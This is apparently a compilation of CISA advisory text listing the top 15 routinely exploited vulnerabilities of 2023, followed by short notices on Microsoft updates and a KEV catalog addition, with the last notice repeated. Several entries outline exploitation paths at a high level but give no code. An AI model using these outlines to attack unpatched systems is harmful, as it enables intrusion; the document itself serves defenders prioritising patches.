Top Routinely Exploited Vulnerabilities

Listed in Table 1 are the top 15 vulnerabilities the authoring agencies observed malicious cyber actors routinely exploiting in 2023 with details also discussed below.

• CVE-2023-3519: This vulnerability affects Citrix NetScaler ADC and NetScaler Gateway.
  • Allows an unauthenticated user to cause a stack buffer overflow in the NSPPE process by using a HTTP GET request.
• CVE-2023-4966: This vulnerability affects Citrix NetScaler ADC and NetScaler Gateway.
  • Allows session token leakage; a proof-of-concept for this exploit was revealed in October 2023.
• CVE-2023-20198: This vulnerability affects Cisco IOS XE Web UI.
  • Allows unauthorized users to gain initial access and issue a command to create a local user and password combination, resulting in the ability to log in with normal user access.
• CVE-2023-20273: This vulnerability affects Cisco IOS XE, following activity from CVE-2023-20198.
  • Allows privilege escalation, once a local user has been created, to root privileges.
• CVE-2023-27997: This vulnerability affects Fortinet FortiOS and FortiProxy SSL-VPN.
  • Allows a remote user to craft specific requests to execute arbitrary code or commands.
• CVE-2023-34362: This vulnerability affects Progress MOVEit Transfer.
  • Allows abuse of an SQL injection vulnerability to obtain a sysadmin API access token.
  • Allows a malicious cyber actor to obtain remote code execution via this access by abusing a deserialization call.
• CVE-2023-22515: This vulnerability affects Atlassian Confluence Data Center and Server.
  • Allows exploit of an improper input validation issue.
    • Arbitrary HTTP parameters can be translated into getter/setter sequences via the XWorks2 middleware and, in turn, allow Java objects to be modified at run time.
    • The exploit creates a new administrator user and uploads a malicious plugin to get arbitrary code execution.
• CVE-2021-44228: This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open source logging framework incorporated into thousands of products worldwide.
  •  Allows the execution of arbitrary code.
    • An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system, causing the execution of arbitrary code.
    • The request allows a cyber actor to take full control of a system.
    • The actor can then steal information, launch ransomware, or conduct other malicious activity.
    • Malicious cyber actors began exploiting the vulnerability after it was publicly disclosed in December 2021.
• CVE-2023-2868: This is a remote command injection vulnerability that affects the Barracuda Networks Email Security Gateway (ESG) Appliance.
  • Allows an individual to obtain unauthorized access and remotely execute system commands via the ESG appliance.
• CVE-2022-47966: This is an unauthenticated remote code execution vulnerability that affects multiple products using Zoho ManageEngine.
  • Allows an unauthenticated user to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint.
• CVE-2023-27350: This vulnerability affects PaperCut MF/NG.
  • Allows a malicious cyber actor to chain an authentication bypass vulnerability with the abuse of built-in scripting functionality to execute code.
• CVE-2020-1472: This vulnerability affects Microsoft Netlogon.
  • Allows privilege escalation.
    • An unauthorized user may use non-default configurations to establish a vulnerable Netlogon secure channel connection to a domain controller by using the Netlogon Remote Protocol.
      Note: This CVE has been included in top routinely exploited vulnerabilities lists since 2021.
• CVE-2023-42793: This vulnerability can affect JetBrains TeamCity servers.
  • Allows authentication bypass that allows remote code execution against vulnerable JetBrains TeamCity servers.
• CVE-2023-23397: This vulnerability affects Microsoft Office Outlook.
  • Allows elevation of privilege.
    • A threat actor can send a specially crafted email that the Outlook client will automatically trigger when Outlook processes it.
    • This exploit occurs even without user interaction.
• CVE-2023-49103: This vulnerability affects ownCloud graphapi.
  • Allows unauthenticated information disclosure.
    • An unauthenticated user can access sensitive data such as admin passwords, mail server credentials, and license keys.

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Microsoft released security updates to address vulnerabilities in multiple products. A cyber threat actor could exploit some of these vulnerabilities to take control of an affected system.

CISA encourages users and administrators to review the following and apply necessary updates:

• Microsoft Security Update Guide for October

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CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

• CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

This post was originally published on this site

CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

• CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.